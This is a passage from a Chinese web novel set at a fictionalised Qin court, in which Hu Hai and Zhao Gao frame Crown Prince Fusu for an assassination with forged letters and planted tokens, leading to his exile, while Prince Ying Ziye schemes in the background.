“昭鞅。”
他轻唤一声。
黑影闪现,昭鞅单膝跪地:“主上。”
“带二十名‘血鸦’,押送噬牙狱那批人去大泽山。”
赢子夜将虎符抛给他:“记住,每人喂一颗‘锁心丹’。”
昭鞅眼中闪过嗜血的光芒:“若有人反抗?”
“你知道该怎么做。”
赢子夜的声音平静得可怕。
结束通话后,赢子夜走到巨大的疆域图前。
他的手指划过咸阳到大泽山的路线。
最终停在农家总坛的位置。
“螳螂捕蝉……”
他轻声自语。
突然屈指一弹,一缕金芒射入地图。
“可惜黄雀之后,还有猎鹰。”
窗外,一只夜枭无声地掠过。
赢子夜负手而立。
玄色衣袍上的暗金纹路在月光下如活物般游动。
他仿佛已经看到七日后,大泽山那场腥风血雨!!
……
咸阳城中。
某处老宅地下。
训练场。
昭鞅正对着三十名戴着铁面具的噬牙狱高手狞笑:“主上开恩,给你们一个重见天日的机会。”
他晃了晃手中的药瓶:“不过在这之前……”
高手们沉默地接过黑色药丸。
毫不犹豫地吞下。
他们太清楚违抗命令的下场。
上个月有几个试图逃跑的囚犯,现在还挂在狱墙上风干。
“很好。”
昭鞅满意地点头:“记住,七日后行动,在此之前……”
他做了个割喉的手势:“谁敢暴露行踪,这就是榜样。”
夜风呜咽。
卷着血腥味飘向远方。
这场精心编织的大网,正在无声地收紧!!!
第152章 抓捕者变成了谋反者,又会如何?
数日之余。
晨曦微露,扶苏已在书房踱步整夜。
案几上堆满的竹简被翻得凌乱不堪,墨迹未干的批注随处可见。
他揉了揉酸胀的太阳穴,望着窗外渐亮的天色,温润如玉的面容罕见地浮现出一丝焦躁。
“公子,您该歇息了。”
老仆端着热酒轻声劝道。
扶苏摇摇头,指尖无意识地摩挲着父皇赐下的令牌:
“六弟禁足七日之期已过半,我却连刺客的来历都…”
他语气一顿,沉声续道:
“都查不出来。”
“亲自派出去的三拨人马,查遍了城中酒肆、坊间传言,连太医院的典籍都翻了个底朝天。”
“可那毒…无人识得。”
“甚至连毒从何来,都查不出端倪。”
他垂眼望着案上的一页批注,字迹因酒渍而模糊,像被人故意抹去的证据。
“这一局…到底是冲着六弟来的,布局太缜密了…”
老仆悚然一惊,却不敢多言。
扶苏却已止住话头,袖中令牌被他捏得咯咯作响。
天光愈亮,而书房内的气息却越发沉重。
就在这时!
门外突然传来急促的脚步声。
一名侍卫单膝跪地,声音因激动而发颤:
“禀公子!城卫在骊山别院擒获三名可疑之人,其中一人左臂带伤,疑似当日逃走的刺客!”
酒盏“啪”地掉在地上,热酒溅湿了扶苏的衣摆。
他猛地站起身,眼中迸发出希冀的光芒:
“备马!我亲自去审!”
淳于越闻讯赶来时,扶苏已披上外袍。
老儒生拽住他的衣袖:
“公子且慢!万一有诈…”
“老师放心。”
扶苏拍了拍腰间的玉佩,那是他向父皇所求的护身符。
“我带足了黑冰台的好手。”
马蹄声碎,尘土飞扬。
扶苏带着十余名精锐直奔城郊!!
……
山间晨雾未散,将那座废弃的别院笼罩得影影绰绰。
城卫统领早已在门前等候,见扶苏下马,立刻上前行礼:“公子,人押在地窖里,其中有个使双刀的,武功路数很像墨家余孽。”
扶苏整了整衣冠,温声道:“辛苦诸位了,可有弟兄受伤?”
统领受宠若惊:
“托公子的福,只是轻伤。”
他压低声音,“不过…那人被抓时正在烧东西。”
地窖内阴冷潮湿。
三名被铁链锁住的汉子听到脚步声,齐齐抬头。
扶苏的目光立刻锁定了左臂缠着染血布条的中年男子——
那双鹰隼般的眼睛,与祭祀当日一闪而过的刺客神情如出一辙!!!
……
十八公子府。
石壁上,一排盏灯静静燃着冷蓝色的火,将整个空间映得仿佛一座地宫。
胡亥坐在榻上,身披宽大的黑色纱衣,衣角拖曳在地,似墨汁晕染的雾。
他面前是一面铜镜,镜中倒映出他苍白的脸,唇角却微微勾起,如看一场滑稽戏。
铜镜背后,是一具布偶。
人形,等高,被钉在墙上,手脚关节皆可活动。
胡亥抬手,用朱笔轻轻点在布偶胸口的位置,似乎在给它“开窍”。
“老师~”
他突然开口,甜腻的嗓音在空荡的室内回荡,
“你说大哥现在到哪了?”
赵高从阴影中现身,苍白的脸上带着谄媚的笑:“回公子,刚收到密报,长公子已经进了别院地窖。”
他袖中滑出一封密函。
“那三个‘刺客’,可都是精心调教过的。”
胡亥突然咯咯笑起来,像个得到新玩具的孩子:“他们真的会按我们说的做?”
“公子放心。”
赵高阴测测地笑了,
“他们的家小都在罗网手里,尤其是那个年轻的,妹妹才十四岁……”
“呀!”
胡亥兴奋地蹦跳起来,
“那待会大哥亲眼看到,这些刺客其实就是他的安排,又会是何等反应啊?”
他歪着头,异色双瞳闪烁着恶毒的光芒,
“一定很有趣~”
赵高躬身:“老奴已经安排好了。”
“等长公子‘审问’完,那些刺客就会‘招供’,说是受儒家指使!”
胡亥突然掐住赵高的脸,力道大得让那张苍白的脸都扭曲了。
“老师真聪明!”
他凑近赵高耳边。
“等大哥背上这口黑锅,父皇会多失望呀~”
窗外,突然传来夜
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枭的啼叫。
胡亥松开手,蹦跳着来到铜镜前。
镜中那张天真无邪的脸,此刻扭曲得如同恶鬼:
“六哥被禁足,大哥失宠……”
他对着镜子做了个鬼脸。
“接下来就轮到我了呢~”
赵高深深低头,掩去眼中的算计:“公子英明。”
胡亥垂眸,望着案几上那团碎裂的棉屑与木刺,指尖却像抚弄情人般缓慢摩挲着残骸。
他低笑一声,将满手血痕在面具上轻轻一抹,哭面的嘴角顿时沾上一抹嫣红。
他歪着头,像是在端详自己的新妆。
“要做得干净些哦,老师~”
尾音拖得极长,像一滴毒液滑入温水,甜腻得令人头皮发麻。
袍角拖过碎屑,带起一串窸窣声,仿佛百虫爬过。
……
六公子府。
书房内,赢子夜正在批阅竹简。
窗外骤雨初歇,屋檐滴水声清晰可闻。
萧何匆匆推门而入,青色官袍下摆还沾着泥水。
“主上,长公子那边有动静了。”
萧何压低声音,“城卫在骊山别院抓到了三名刺客余党,扶苏公子已亲自前往审讯。”
赢子夜手中的朱笔微微一顿:“哦?”
他抬眼看向萧何,“廷尉府可有人同去?”
萧何点头:
“他们派了最得力的两名令史,还带了仵作。”
“是扶苏请廷尉府一同办案的?”
赢子夜放下朱笔,指尖轻轻叩击案几。
萧何摇头:“据说是廷尉府主动派人。”
“毕竟缉拿凶犯本就在他们职责之内,倒也合情合理。”
赢子夜忽然轻笑一声,笑声中带着几分冷意:“太顺利了。”
萧何一怔:
“主上此言何意?”
“刺客能在祭祀大典上混入,必是精心谋划。”
赢子夜起身走向窗前,“如今却这么轻易被几个城卫发现踪迹…”
“不蹊跷吗?”
他转身时,眼中精芒流转!
“萧何,你觉得这像不像有人故意送上的大礼?”
萧何额头渗出细汗:“主上是说…这是个局?”
赢子夜目光微凝,语气中夹杂着一丝沉吟:“相信很快,便会有答案了!”
第153章 大秦长公子,便是幕后指使!
阴暗潮湿的地窖内,火把的光影在石壁上跳动。
扶苏站在三名被铁链锁住的刺客面前,温润如玉的面容罕见地带着几分肃杀。
“本公子再问一次。”
他的声音依然平和,却透着不容抗拒的威严。
“是谁指使你们行刺陛下?”
为首的刺客冷笑一声,铁链哗啦作响。
“长公子何必明知故问?”
扶苏眉头微蹙。
“什么意思?”
地窖入口突然传来脚步声。
廷尉府的张令史带着两名仵作快步走来,朝扶苏拱手行礼。
“公子,下官奉廷尉之命前来协助审讯。”
扶苏微微颔首。
“有劳了。”
张令史从袖中取出一包银针,在火把上烤了烤。
“对付这些死士,不用些手段是撬不开嘴的。”
银针刺入刺客指尖的瞬间,地窖内响起凄厉的惨叫!!!
扶苏不忍地别过脸,却在这时听到刺客嘶吼。
“是长公子!是扶苏公子指使我们的!”
扶苏猛地转头,脸色瞬间煞白!
“胡言乱语!”
刺客忍着剧痛,声音却异常清晰。
“三月初七,兰池宫西侧偏殿……公子亲口许诺,事成之后许我们荣华富贵!”
扶苏的手指不自觉地攥紧衣袍。
“荒谬!那日本公子根本不在宫中!在六弟府内请教学问!”
“公子当然不在。”
刺客咧嘴一笑,露出带血的牙齿。
“您派了心腹淳于博士来见我们,还给了这个——”
他从舌底吐出一枚玉扣,正是儒家弟子常佩戴的式样!
张令史倒吸一口凉气,下意识后退半步。
扶苏踉跄着上前。
“这不可能…这玉扣……”
“公子还要狡辩吗?”
刺客阴森森地道。
“您不满六公子夺了祭祀大典的主持权,更恨陛下偏宠……啊!”
张令史又一针刺下,刺客痛得蜷缩成一团,却仍狞笑着。
“杀了我…证据……也毁不掉……”
扶苏的指尖深深掐进掌心,鲜血顺着指缝滴落。
他强迫自己冷静下来。
“张令史,此人所言漏洞百出,若我真要行刺,怎会用如此明显的儒家信物?又怎会……”
“公子。”
张令史突然打断,额头上渗出细密的汗珠。
“此事…牵扯太大。”
“下官斗胆,请公子暂回府中等候,下官以性命担保,定会查个水落石出!!!”
地窖内一片死寂!
只有火把燃烧的噼啪声。
扶苏看着张令史躲闪的眼神,突然明白了什么。
他缓缓直起身,玄色衣袍上的金线玄鸟纹在火光中展翅欲飞。
“好,本公子这就回府。”
他的声音平静得可怕。
“但请张令史记住——”
话音未落,那刺客突然嘶声喊道:
“证据在骊山北麓的枯井里!长公子的亲笔密函…还有……啊!”
张令史猛地一针刺入刺客哑穴,刺客顿时瘫软如泥。
扶苏的瞳孔骤然收缩。
这反应太刻意了!
“公子请回吧。”
张令史的声音微微发颤。
“下官……这就带人去查那口枯井。”
扶苏深深看了张令史一眼,转身走向地窖出口。
就在他踏上台阶的瞬间,身后传来刺客气若游丝的冷笑。
“公子…您逃不掉的,证据确凿……”
扶苏的脚步微微一顿,却没有回头。
走出地窖时,刺目的阳光让他眯起眼。
淳于越焦急地迎上来。
“公子!审讯的怎么样了?有结果了吗?!”
“老师。”
扶苏打断他,声音轻得只有两人能听见。
“我们中计了。”
远处山林间,一只夜枭无声地掠过。
扶苏望着咸阳宫的方向,突然想起那日赢子夜教过他的话。
“有时候,鲜血浇灌出的和平,比虚伪的仁义更长久。”
他攥紧的拳头慢慢松开,眼中温润的光芒渐渐被某种决绝所取代。
“回府,备笔墨。”
淳于越惊愕地看着自家公子,这个向来仁厚的孩子,此刻眼中竟闪过一丝他从未见过的锋芒!
……
十八公子府。
胡亥赤着脚在雪白的狐裘毯上来回踱步,手中把玩着一枚染血的玉佩。
正是从那些“刺客”身上搜出的“证据”。
这玩意儿他有一大把。
时不时还发出几声孩童般的轻笑,在幽暗的烛光下显得格外瘆人。
“老师~”
他突然停下脚步,歪着头看向阴影中的赵高。
“你说大哥现在是不是在府里急得团团转呀?”
赵高从黑暗中现身,苍白的脸上浮现出谄媚的笑容。
“公子妙计,扶苏此刻想必百口莫辩。”
胡亥轻踮脚尖,从墙角的香炉中取出一枚细致雕花的红宝石耳坠,缓缓贴在自己耳垂上。
他侧过头,凝视铜镜中那张稚气未脱的面容。
“这才到哪儿呢~”
他转身时,异色双瞳在烛光下闪烁着妖异的光芒。
“廷尉府的人,应该已经找到‘证据’了吧?”
赵高袖中滑出一封密函。
“刚收到飞鸽传书,张令史带着二十名差役,正
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在骊山北麓搜查一口枯井。”
“呀!”
胡亥兴奋地拍手,像个得到新玩具的孩子。
“那我们的人都准备好了吗?”
赵高阴测测地笑了。
“六名死士已经埋伏在枯井附近,都是精心挑选的,有两个还特意穿了儒生的内衫。”
他做了个抹脖子的动作!
“按公子吩咐,这些人会**一半,留一半。”
胡亥忽地笑出声,转而将耳坠扯下,狠狠丢进香炉中,看也不看一眼。
灰烬翻飞,一缕轻烟袅袅而起。
“老师真贴心,记得要让他们‘不小心’掉点东西哦~”
赵高低眉颔首。
“公子放心,老奴已经准备了扶苏公子府上的令牌,还有……”
他从袖中掏出一封火漆密函。
“这个。”
胡亥松开手,接过密函扫了一眼,咯咯笑起来。
“大哥的字迹仿得真像!连他喜欢在‘苏’字最后一笔内折的习惯都模仿了~”
他突然凑近赵高。
“你说,等父皇看到这封‘密信’,会是什么表情呢?”
窗外一道闪电划过,照亮了胡亥那张半白半黑的脸。
赵高不自觉地后退半步。
“公子高明,不过…是否要留几个活口指证?”
“当然要!”
“人证物证俱在才对嘛~”
胡亥蹦跳着转到赵高身后,冰凉的小手搭在他肩上。
“但不是现在。”
他踮起脚尖,在赵高耳边轻声道。
“等他们押着俘虏回城时,再派第二波人截杀,要让人以为…是大哥狗急跳墙呢~”
赵高额角渗出冷汗!
“公子思虑周全,老奴这就去安排。”
“等等~”
胡亥突然拽住赵高的衣袖,天真无邪地眨着眼。
“别忘了在尸体上放点‘好东西’,比如…大哥府上的香囊啊,玉佩啊……”
他歪着头想了想。
“对了!前几日他不是赏了几个门客银钱吗?塞点碎银子在死士怀里~”
赵高深深低头,掩去眼中的惊惧。
“老奴明白。”
待赵高退下后,胡亥独自站在窗前。
暴雨拍打着窗棂,他却兴奋地哼起了童谣。
“小蚂蚁,搬家家,一不小心……全死啦~”
他掸了掸袖口,像是在掸落什么多余的情绪,语气甜腻:
“大哥啊大哥……”
“你可别怪我,要怪就怪六哥太狡猾,我只好…先拿你开刀啦~”
远处雷声轰鸣,仿佛在回应着这场精心编织的阴谋。
而在骊山北麓的密林中,一场血腥的“表演”,正要拉开帷幕。
第154章 弈棋者,又岂会身居棋中!
此时此刻。
骊山北麓的枯井旁,张令史抹了把额头的汗水,手中火把照亮了井底泛黄的绢布。
他颤抖着展开一看,顿时脸色大变!
这赫然是一封盖着扶苏私印的密信。
“快!快送回城!”
他慌忙将绢布塞入怀中,对身旁的差役喊道,“去调城卫增援,这地方不安全!”
话音未落,一支羽箭破空而来,精准地穿透了差役的咽喉!
“有埋伏!”
差役们慌乱拔刀,却见六道黑影从密林中窜出。
刀光闪过,三名差役瞬间倒地。
张令史仓皇后退,腰间官印却突然被箭矢射落。
“保护大人!”
剩余差役结阵防御,却见刺客中一人突然吹响手哨。
远处顿时传来整齐的马蹄声!!
是城卫的援兵到了。
“撤!”
为首的刺客低喝一声,六人立刻分散逃窜。
王贲一马当先,长弓拉满:“放箭!”
箭雨倾泻而下,两名刺客应声倒地。
另有三人被城卫团团围住,其中一人突然咬破毒囊,另外两人则被按倒在地!
“留活口!”
王贲率兵而来,扛着大戟,厉声喝道。
张令史哆哆嗦嗦地爬过来,指着被制服的刺客:“搜…搜他们身!”
城卫粗暴地撕开刺客衣襟,一枚精致的玉佩当啷落地!
王贲捡起一看,瞳孔骤缩。
这分明是长公子府上的物件。
更骇人的是,从另一名刺客怀中搜出了一封未拆的火漆密函,封泥上赫然是扶苏的私印。
“立刻押回咸阳!”
王贲脸色铁青,“张大人,你亲自向陛下禀报!”
……
回城的官道上,押送队伍格外警惕。
王贲亲自骑马在前开路,不时扫视两侧密林。
被捆成粽子的两名刺客被铁链拴在马后,踉踉跄跄地跟着。
“将军…”
张令史策马靠近,声音发颤,“此事牵扯长公子,是否先…”
“噤声!”
王贲突然抬手,耳廓微动,“有动静!”
刹那间,十余支**箭从林中飞射而出!
王贲挥剑格挡,却听身后传来惨叫。
两名俘虏中箭倒地。
“保护人犯!”
城卫们迅速结阵,却见第二波箭雨已至。
这次的目标明显是那两名俘虏,其中一人当场被射成刺猬,另一人则肩部中箭。
“抓活的!”
王贲怒吼着冲入密林。
混乱中,幸存的俘虏突然挣扎着喊道:“公子…救…”
话音未落,第三支箭精准地穿透了他的心脏。
王贲目眦欲裂,却只看到林中几个模糊的身影迅速远去。
“追!一个都别放过!”
当王贲带人追出半里地后,张令史颤抖着检查尸体。
他从死者贴身衣物中摸出一块染血的绢帕,上面绣着兰草纹样。
这是扶苏最爱的花样,长公子府上的侍女们人手一块。
更可怕的是,死囚临死前那句未说完的“公子”,分明是在向某人求救。
“王将军!”
张令史声音都变了调,“这…这…”
王贲铁青着脸走过来,看到绢帕后狠狠啐了一口:“立刻回城!此事必须面禀陛下!”
……
与此同时。
六公子府的书房内,烛火微微摇曳,映照着赢子夜那张沉静如水的面容。
他修长的手指轻轻敲击着案几,节奏不疾不徐,仿佛在计算着什么。
窗外夜色深沉,偶有风过,吹得檐角铜铃发出清脆的声响。
萧何匆匆推门而入,青色官袍的下摆还沾着夜露,显然是一路疾行而来。
他眉宇间带着几分凝重,拱手道:“公子,扶苏那边出事了。”
赢子夜抬眸,目光如深潭般幽邃,声音平静:“哦?快说。”
萧何深吸一口气,沉声道:“廷尉府的人从骊山枯井中搜出了‘证据’,是一封盖有扶苏公子私印的密函,内容直指祭祀大典的刺杀案。”
“更棘手的是,那些被抓的刺客中,有人身上搜出了长公子府的玉佩。”
赢子夜指尖微微一顿,随即又恢复了那副从容的模样。
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他唇角微扬,似笑非笑:“倒是好手段。”
萧何眉头紧锁,低声道:“公子,此事蹊跷,那些刺客分明是胡亥的手笔,如今却全数栽到了扶苏公子头上。”
“他若百口莫辩,恐怕……”
赢子夜轻轻抬手,打断了他的话:“你觉得,扶苏会怎么做?”
萧何沉吟片刻,道:“以长公子的性情,必会向陛下自证清白,可如今物证俱全,他若贸然辩解,反倒显得心虚。”
赢子夜微微颔首,眼中闪过一丝深邃的光芒:“不错,扶苏一向重礼守节,如今被人算计到这般地步,他若乱了方寸,反倒正中胡亥下怀。”
萧何犹豫了一下,终究还是开口:“主上,要不要……帮扶苏公子一把?”
赢子夜闻言,忽地轻笑一声,笑声低沉而意味深长:“帮?怎么帮?”
萧何一怔。
赢子夜缓缓起身,负手踱至窗前,望着远处咸阳宫的方向,淡淡道:“现在谁帮扶苏,谁就是他的‘合谋’。”
“胡亥既然设下此局,必然留有后手,我们贸然插手,只会引火烧身。”
“那样的话,不就正中胡亥的下怀?”
“到时候怕就连你我也难以脱险。”
萧何眉头紧皱,仍有些不甘:“可若扶苏公子因此失势,朝中局势恐怕……”
赢子夜侧首看他一眼,目光如电,萧何顿时噤声。
“萧何,”赢子夜语气淡然,却透着不容置疑的威严,“你记住,在这盘棋上,我们不是救火的人,而是下棋的人。”
萧何心头一震,立刻低头拱手:“属下明白。”
赢子夜收回目光,重新望向窗外,声音低沉而悠远:“等着吧,很快……宫中就会有消息传来。”
萧何不再多言,只是静静退至一旁,心中却已了然。
公子早有布局,如今的一切,不过是风暴前的宁静。
书房内一时陷入沉寂,唯有烛火摇曳,映照出赢子夜那张深不可测的脸庞。
他唇角微扬,似在等待,又似在谋划。
窗外,夜风渐起,卷起几片落叶,无声地掠过庭院。
第155章 将扶苏贬黜边疆!
长公子府内,烛火摇曳,映照出扶苏那张骤然苍白的脸。
他手中紧攥着刚送来的密报,指节因用力而泛白,儒雅的眉宇间第一次浮现出难以掩饰的惊惶。
“这…这怎会如此!”
扶苏猛地站起身,竹简“啪”地砸在案几上,惊得侍奉的童子慌忙退后两步。
淳于越带着几位儒家门生匆匆赶来,老迈的身躯因急促的步伐微微发颤。
他刚踏入书房,就听见扶苏失态的声音:“老师!这密函上的印信…”
“公子莫慌。”
淳于越强自镇定地接过竹简,待看清内容后,花白的胡须剧烈抖动起来:“荒谬!简直荒谬绝伦!”
“学生从未写过这样的密函!”
一位年轻儒生涨红了脸喊道,“这必是有人栽赃!”
扶苏在厅中来回踱步,玄色衣袍的下摆扫过地面,发出急促的沙沙声。
他忽然停下,转向淳于越:“老师,您老实告诉我,门下可有谁…”
“公子!”
淳于越扑通跪下,老泪纵横:“老臣以性命担保,儒家弟子绝不会行此大逆不道之事!”
“这印信定是伪造的!”
扶苏扶起老人,指尖微微发抖:“可那玉佩…确实是我赏赐给门客的…”
“定是被人盗用了!”
淳于越急道,“公子细想,三日前不是有门人报失过玉佩?”
门外突然传来一阵骚动。
扶苏猛地转头,只见府中管事慌慌张张跑来:“公子!宫中…宫中来人了!”
话音未落,一名黑甲侍卫已大步踏入,铁靴踏地的声响如同催命的鼓点。
他冷硬地抱拳:“奉陛下口谕,命长公子即刻入宫觐见!!”
满室死寂。
扶苏感觉一阵眩晕,连忙扶住案几。
淳于越颤声道:“这位将军,不知陛下…”
“末将只负责传令。”
侍卫打断道,眼中闪过一丝怜悯,“公子,请速更衣。”
待侍卫退出,书房内顿时炸开了锅!
年轻儒生们慌乱地围上来:
“公子不可去啊!这分明是陷阱!”
“不如称病暂避…”
“都住口!”
扶苏突然厉喝,温润的嗓音罕见地带上锋芒。
他深吸一口气,整了整衣冠:“备朝服。”
淳于越抓住他的衣袖:“公子三思!此时入宫…”
“老师。”
扶苏轻轻挣开,眼神渐渐坚定:“本公子行事光明磊落,若此刻退缩,反倒坐实了罪名。”
他转向铜镜,看着镜中那个熟悉的自己,轻声道:“我倒要看看,这局棋…究竟要如何收场。”
管事捧着朝服进来时,发现公子的手仍在微微颤抖。
但当那袭绣着玄鸟纹的朝服加身时,扶苏的背脊已挺得笔直。
他最后看了眼案上那卷要写的自辩奏折,苦笑着摇了摇头。
“走吧。”
他迈步向门外走去,在跨过门槛时顿了顿,没有回头:“若我…未能归来,请老师照看好府中那些弟子。”
淳于越踉跄追出几步,却只看到公子登上马车的背影。
夜风吹起车帘一角,隐约可见扶苏紧握的拳头搁在膝上,骨节发白。
远处宫城的轮廓在晨曦中渐渐清晰,如同张开的巨口。
……
宫门前。
青石道上晨雾未散,扶苏的马车缓缓前行,车轮碾过石板的声音在寂静的晨光中格外清晰。
忽然,前方玄色车驾映入眼帘——
是六弟赢子夜的车驾!
扶苏急忙命人停车,快步上前。
赢子夜似乎早已料到,正负手立于道旁,玄色朝服上的暗纹在晨光中若隐若现。
“六弟!”
扶苏声音微颤,“此事绝非我所为,我…”
赢子夜抬手制止,目光平静如水:“长兄不必多言。”
“可这分明是有人栽赃!”
扶苏急道,儒雅的面容因焦虑而显得苍白。
“我府上玉佩确曾遗失,那密函印信也定是伪造…”
赢子夜轻轻摇头:“现在说这些,都是无用。”
扶苏身形一晃,手指无意识地攥紧了衣袖:“那依六弟之见…”
“入朝。”
赢子夜淡淡道,目光投向远处巍峨的宫门,“该来的总会来。”
扶苏喉头滚动,还想再说什么,却见赢子夜已转身登车。
晨风吹起车帘,隐约可见那张始终平静的侧脸。
宫门前的铜钟突然敲响,浑厚的钟声震得扶苏心头一颤。
他望着六弟远去的车驾,又低头看了看自己发抖的指尖,终是深吸一口气,迈步向那森严的宫门走去。
……
麒麟殿内。
肃杀之气弥漫。
文武百官分列两侧,连呼吸都刻意放轻。
扶苏跪在殿中央,额头抵着冰冷的金砖,听着廷尉一字一句地宣读那些所谓的“铁证”。
“经查证,刺客身上搜出的玉佩确为长公子府所出,密函上的印信与公子私印分毫不差。”
廷尉的声音在空旷的大殿内回荡。
“更有刺客供认,是受儒家门人指使…”
“荒谬!”
扶苏猛地抬头,儒雅的面容因愤怒而涨红。
“这分明是有人构陷!那些刺客的供词,分明是严刑逼供所得!”
龙榻上的始皇帝冕旒低垂,玉珠后的目光深不可测。
他缓缓开口:“扶苏,你可有证据自证清白?”
扶苏张了张嘴,却哑口无言。
他环顾四周,那些平日对他恭敬有加的朝臣们,此刻都低着头,无人敢与他对视。
“儿臣…儿臣…”
扶苏的声音渐渐低了下去。
始皇帝突然起身,玄色帝袍上的金线玄鸟纹无风自动:“传朕旨意,长公子扶苏,御下不严,致使奸人作乱。”
“即日起,贬黜岭南,镇守百越边疆。”
“一应儒家门人,凡有嫌疑者,皆下廷尉府彻查!!!”
这旨意如同一道惊雷,震得扶苏浑身发颤!
他膝行几步:“父皇!儿臣冤枉啊!这分明是…”
“退朝。”
始皇帝冷冷打断,转身离去,只留下冕旒玉珠碰撞的清脆声响。
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扶苏瘫坐在地,脸色惨白如纸。
朝臣们鱼贯而出,无人敢多看他一眼。
李斯经过时欲言又止,最终只是叹了口气。
王贲更是加快脚步,仿佛生怕被牵连。
殿内很快空荡下来,只剩下扶苏孤零零的身影。
忽然,一双玄色锦靴停在他面前。
扶苏抬头,看见赢子夜平静的面容。
“六弟…”
扶苏像是抓住救命稻草般拽住赢子夜的衣袖,“帮为兄向父皇求求情…我真是被冤枉的…”
赢子夜轻轻叹了口气,俯身将扶苏扶起。
“长兄啊长兄,你为何就不明白父皇的苦心?”
扶苏一怔:“苦心?”
“若父皇真要责罚于你,又岂会只是将你贬往百越?”
赢子夜压低声音,“以谋逆之罪,便是赐死也不为过。”
扶苏瞳孔微缩,似乎想到了什么。
赢子夜继续道:“这满朝文武,谁看不出此事蹊跷?”
“但长兄你…确实拿不出证据自证清白。”
“可这…”
“百越近来蠢蠢欲动,屡犯边境。”
赢子夜打断他,目光深邃,“父皇这是给你一个将功折罪的机会。”
“岭南虽远,却是用武之地。”
“若你能平定百越之乱…”
扶苏浑身一震,眼中渐渐浮现明悟之色。
他望向始皇帝离去的方向,突然整了整衣冠,郑重地行了一个大礼:
“儿臣…受教了。”
赢子夜微微一笑,拍了拍扶苏的肩膀:“长兄此去,不妨带上几位得力门客。”
“我这边门下,也有几位擅长机关术的门客,或可助你一臂之力。”
扶苏惊讶地抬头:“六弟你…早就知道?”
赢子夜不置可否,只是从袖中取出一卷竹简:“这是百越各部的情报,长兄路上可细细研读。”
扶苏接过竹简,手指微微发抖!!
他忽然发现,自己这个看似不起眼的六弟,眼中闪烁的光芒竟与父皇如出一辙。
“时候不早了,长兄该回去准备了。”
赢子夜转身欲走,又顿了顿,“对了,临行前不妨去看看淳于博士。”
“老人家年事已高,经不起廷尉府的折腾。”
扶苏会意,郑重地拱手:“多谢六弟提点。”
赢子夜摆摆手,玄色朝服在晨光中划出一道优雅的弧线。
他迈出殿门时,恰好与站在廊下的胡亥四目相对。
胡亥歪着头,天真无邪地笑了:“六哥和大哥说什么悄悄话呢?”
“十八弟想知道?”
赢子夜也笑了,笑意却未达眼底,“不如去问问父皇?”
胡亥脸色微变,随即又恢复那副孩童般的表情:“六哥真会开玩笑~”
他蹦跳着离开,却在转身瞬间,异色双瞳中闪过一丝阴鸷。
……
宫墙外,一队黑甲骑兵已经整装待发,准备“押送”扶苏前往岭南。
为首的将领见到赢子夜,微不可察地点了点头。
赢子夜仰头望向渐亮的天色,轻声自语:“兄长,一路…保重。”
第156章 利剑若是反噬主人,也就不必存在
十八公子府内。
胡亥嘴角挂着孩童般天真的笑容,异色双瞳在烛光下闪烁着妖异的光芒。
“老师~”
他突然开口,甜腻的嗓音在空荡的殿内回荡。
“大哥这一去,怕是再也回不来了吧?”
赵高从阴影中现身,苍白的脸上浮现出谄媚的笑容:“公子妙计,扶苏此去岭南,犹如蛟龙离水。”
“百越蛮荒之地,瘴气弥漫,蛮族凶悍…”
“不够!”
胡亥突然将蜘蛛捏碎,金属碎片从指缝间簌簌落下。
“没解决的麻烦,永远都是麻烦。”
他蹦跳着来到窗前,月光为他单薄的身影镀上一层银边,“我要他…永远留在南疆。”
赵高眼中精光一闪,低声道:“公子是说…”
“百越那边回消息了吗?”
胡亥转身,歪着头问道,那副天真的模样仿佛在询问明日的天气。
赵高从袖中取出一卷竹简:“天泽已经同意合作。”
“他们愿意配合我们…除掉扶苏。”
“咯咯咯…”
胡亥突然笑起来,笑声清脆如铃,却让人毛骨悚然,“那就借百越之手,送大哥一程吧~”
他蹦跳着来到案几前,从果盘中拈起一颗蜜饯,轻轻一捏,甜腻的汁液顺着指缝滴落。
“告诉天泽部,事成之后,他们要的兵器、粮草,本公子加倍奉上。”
赵高躬身:“老奴这就去安排,不过…”
他犹豫了一下,“六公子那边……”
胡亥的动作突然顿住,异色双瞳微微收缩:“六哥啊…”
他舔了舔指尖的糖渍,声音甜得发腻,“他最近是不是太闲了?”
“公子的意思是…”
“去查查他手底下那些人。”
胡亥突然凑近赵高,呼吸喷在对方脸上,“我总觉得,六哥手里…还藏着什么好东西呢~”
赵高额角渗出细汗:“老奴明白。”
窗外一阵夜风卷入,烛火剧烈摇晃。
胡亥的影子投在墙上,扭曲如恶鬼。
……
章台宫内。
青铜灯台上的火焰微微摇曳,将始皇帝威严的身影投映在玄色帷幕上。
赢子夜垂首立于阶下,玄色朝服上的暗纹在烛光中若隐若现,如同一只蛰伏的玄鸟。
“子夜。”
始皇帝低沉的声音打破了沉寂,“此事,你怎么看?”
赢子夜微微抬头,目光平静如水:“回父皇,儿臣暗中查探多日,确有些线索。”
始皇帝冕旒下的目光如电:“说。”
“其一,那些刺客。”
赢子夜从袖中取出一卷绢布,双手呈上。
“儿臣命人查验过尸身,发现他们虎口处皆有厚茧,是常年使用短兵所致。”
“更蹊跷的是…”
他顿了顿,声音压低:“每人舌苔内侧,都有一道极浅的刺青。”
始皇帝接过绢布的手微微一顿,玉珠碰撞发出清脆的声响。
“其二,**。”
赢子夜继续道,“儿臣请医家高人验过,刺客口中所藏之毒,名为‘蛛心散’,需以特殊手法炼制。”
“而此毒…”
“你查不到,因为罗网已很多年未用过此毒了。”
始皇帝冷冷接话,声音如同万年寒冰。
赢子夜颔首:“其三,刺客对宫中布防了如指掌,连黑冰台轮值间隙都把握得分毫不差。”
“能做到这一点的…”
“必是宫中之人。”
始皇帝猛地拍案,案上竹简齐齐一跳!
“好个赵高!寡人当年命他组建罗网,是为监察天下,如今竟敢反噬其主!!!”
赢子夜适时补充:“父皇息怒。”
“儿臣虽查到这些线索,却尚无确凿证据指向赵高。”
“罗网势力盘根错节,若贸然动手…”
始皇帝缓缓起身,玄色帝袍无风自动:“寡人明白,这些年,是寡人太过放任了。”
他转身望向墙上悬挂的巨幅疆域图,声音低沉:
“子夜,听说你即将要去农家?”
“正是。”
赢子夜上前一步,“农家内乱已久,田氏一族与朱家势同水火。”
“而据儿臣查探,罗网已暗中渗透其中。”
“若能重整农家,既可断罗网一臂,又能为朝廷掌控这十万农家弟子!!”
始皇帝沉默良久,突然问道:“你打算如何做?”
赢子夜眼中精光一闪:“儿臣已与烈山堂田言达成默契。”
“此女聪慧过人,又是前任惊鲵之女,对罗网心怀怨恨。”
“若能助她掌控农家…”
“田言?”
始皇帝微微眯眼,“就是那个号称‘农家女管仲’的丫头?”
“正是。”
赢子夜轻声道,“她弟弟田赐虽心智不全,却是农家第一高手。”
“有这姐弟相助,儿臣有七成把握。”
